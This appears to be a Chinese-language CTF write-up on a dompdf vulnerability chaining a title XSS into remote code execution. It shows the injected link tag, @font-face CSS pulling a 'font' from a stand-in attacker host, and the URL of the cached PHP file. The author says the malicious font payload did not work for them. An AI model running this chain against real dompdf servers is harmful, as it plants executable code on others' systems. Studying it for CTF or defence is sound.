不就前曝出来的一个漏洞,从xss到rce,也是这次mrctf中tprint这题的考点
https://github.com/positive-security/dompdf-rce
dompdf是PHP的一个可以将html转换为pdf的库
title处存在xss
那么这个xss能干嘛能
看源码
Options.php
isRemoteEnabled为加载远程资源,默认是关闭的
如果开启就可以加载远程资源
http://localhost:9000/index.php?title=<link rel=stylesheet href='http://localhost:9001/isRemoteEnabled.css'>
确实可以(css内容为缩小图片)
回到dompdf,dompdf 允许通过字体 CSS 规则加载自定义字体
比如
@font-face {
font-family:'TestFont';
src:url('http://attacker.local/test_font.ttf');
font-weight:'normal';
font-style:'normal';
}
看一下dmpdf如何注册新字体
FortMetrics.php
文件名为字体名称_样式_md5($remoteFile)
,以上面那个css为例
最终为testfont_normal_d249c21fbbb1302ab53282354d462d9e.tff
(d249c21fbbb1302ab53282354d462d9e == md5(http://attacker.local/test_font.ttf))
文件名可控,接着看文件内容
源码判断是否是字体文件只判断文件头,而不管文件后缀,也就是说如果是恶意的PHP文件,只要文件头正确就能被解析
比如如下文件
exploit.css
@font-face {
font-family:'exploitfont2';
src:url('http://localhost:9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
访问
http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>
此时已经生成了php文件
访问
http://localhost:9000/dompdf/lib/fonts/exploitfont2_normal_3f83639933428d70e74a061f39009622.php
注意点:github上的那个源码,已经自带了那个生成的PHP文件,这属实有点坑人了,自己测试时记得换字体名称
但这里有个问题就是这个'ttf'(php)应该怎么构造,一开始我以为只要单纯的文件结尾加上恶意代码就行了,测试后发现不行,仔细研究了下这个例子中的'ttf'(php),发现即使是删掉一个空格都会出错
按照原文的说法,是往版权部分添加恶意代码
那按道理说我应该可以改成任意代码,但就是不行,不知道是构造的ttf有问题还是这个漏洞的哪里理解有问题
参考